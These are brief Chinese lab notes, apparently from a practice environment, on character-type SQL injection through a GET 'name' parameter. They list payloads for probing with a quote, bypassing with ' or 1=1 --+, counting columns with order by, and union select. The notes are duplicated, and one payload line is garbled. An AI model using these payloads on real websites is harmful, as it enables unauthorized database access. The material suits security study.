字符型注入（get）
在查询栏输入1，点击查询获得查询格式
?name=1'&submit=查询
*捷径 ' or 1=1 --+
*非捷径
?name=1' and 1=2 --+ 2--+&submit=查询
用不了，直接查
?name=1' order by 2--+&submit=查询
?name=1' union select 1,2 --+&submit=查询
在查询栏输入1，点击查询获得查询格式
?name=1'&submit=查询
*捷径 ' or 1=1 --+
*非捷径
?name=1' and 1=2 --+ 2--+&submit=查询
用不了，直接查
?name=1' order by 2--+&submit=查询
?name=1' union select 1,2 --+&submit=查询